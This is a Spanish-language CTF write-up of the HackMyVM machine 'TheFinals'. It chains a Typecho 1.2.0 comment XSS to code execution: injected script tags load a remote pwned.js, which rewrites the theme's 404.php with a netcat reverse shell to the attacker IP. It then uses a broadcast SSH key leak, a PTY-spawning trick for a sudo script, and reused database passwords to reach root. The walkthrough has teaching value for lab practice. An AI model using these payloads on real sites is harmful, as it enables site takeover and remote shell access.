cd ~/blog

~/writeups/hmv/125-thefinals.md

125 - TheFinals

easy Linux hmv 28-05-2025
Typecho 1.2.0 XSS to RCEBroadcast key disclosure (UDP)sudo script PTY trick + DB password reuse
hackmyvm.eu/machines/machine.php?vm=TheFinals

~1 min de lectura


Enumeramos puertos:

 nmap -sCV -p 22,80 -oN 02-targeted.txt 192.168.1.7
...
22/tcp open  ssh     OpenSSH 9.9 (protocol 2.0)
80/tcp open  http    Apache httpd 2.4.62 ((Unix))
|_http-title: THE FINALS
...

El /blog corre Typecho 1.2.0, vulnerable a un encadenamiento XSS → RCE (vía la consola de administración). Siguiendo este blog, primero verificamos el XSS creando un comentario con payload en el campo website:

website: http://xxxxxx/"></a><script>alert(1)</script><a/href="#

Luego servimos un pwned.js que, abusando de la sesión del admin, escribe en 404.php del tema:

❯ cat pwned.js
function insertIframe() {
    ...
    var iframeAttributes = "<iframe id='theme_id' src='"+tSrc+"' ... onload='writeShell()'></iframe>";
    ...
}
function writeShell() {
    ...
    content.value = ('<?php phpinfo(); ?>\n') + oldData;
    btns[1].click();
    ...
}
insertIframe();

Cargamos el script con otro comentario:

website: http://xxx.xxx.com/"></a><script/src=http://192.168.1.6:8000/pwned.js></script><a/href="#

Cambiamos el payload del .js por una reverse shell y obtenemos acceso como apache:

22 content.value = ('<?php exec("nc 192.168.1.6 1234 -e /bin/ash"); ?>\n') + oldData;

 ncat -nlvp 1234
id
Ncat: Connection from 192.168.1.7:36559.
uid=102(apache) gid=103(apache) groups=82(www-data),103(apache)

Estabilizamos la shell y leemos el config.inc.php (credenciales de la BD). En /home/june está la primera flag y un mensaje:

/home/june $ cat message.txt
Contestants, gear up and get ready! Who's got the KEY? Who's got the the guts?
                                                              --- This BROADCAST has been hacked by CNS

El "BROADCAST" apunta a un proceso del usuario scotty; buscamos sus archivos:

/home/june $ find / -user scotty 2>/dev/null
...
/var/log/scotty-main.log
...

/home/june $ cat /var/log/scotty-main.log
...
Broadcast to eth0 192.168.1.7:1337
...

Escuchamos en el puerto UDP 1337 y recibimos una clave SSH en base64:

/home/june $ nc -uvlnp 1337
...
LS0tLS...0tLS0K

 echo 'LS0tLS...0tLS0K' | base64 -d
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----

Entramos como scotty y revisamos sudo -l:

 ssh scotty@192.168.1.7 -i id_rsa_scotty
thefinals:~$

thefinals:~$ sudo -l
...
User scotty may run the following commands on thefinals:
    (ALL) NOPASSWD: /sbin/secret

El script falla porque intenta crear /dev/pts/99. Creamos las PTY que faltan con un bucle de pseudo-terminales hasta llegar a la 98:

thefinals:~$ sudo /sbin/secret
/sbin/secret: line 2: can't create /dev/pts/99: Permission denied

~ $ for i in $(seq 1 90); do python -c 'import pty; pty.spawn("/bin/ash")' & done

Con la PTY 98 disponible, el script revela una contraseña (del usuario root de la base de datos):

thefinals:~$ sudo /sbin/secret
root:p8RuoQGTtlKLAjuF1Tpy5wX

Esa contraseña es de MySQL; consultamos la base secret para obtener la contraseña real de root del sistema:

thefinals:~$ mysql -u root -p
...
MariaDB [secret]> select * from user;
+----+----------+-------------------------+
| id | username | password                |
+----+----------+-------------------------+
|  1 | root     | B*************K |
+----+----------+-------------------------+

Y la usamos para su:

thefinals:~$ su root
Password:
/home/scotty # whoami
root

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados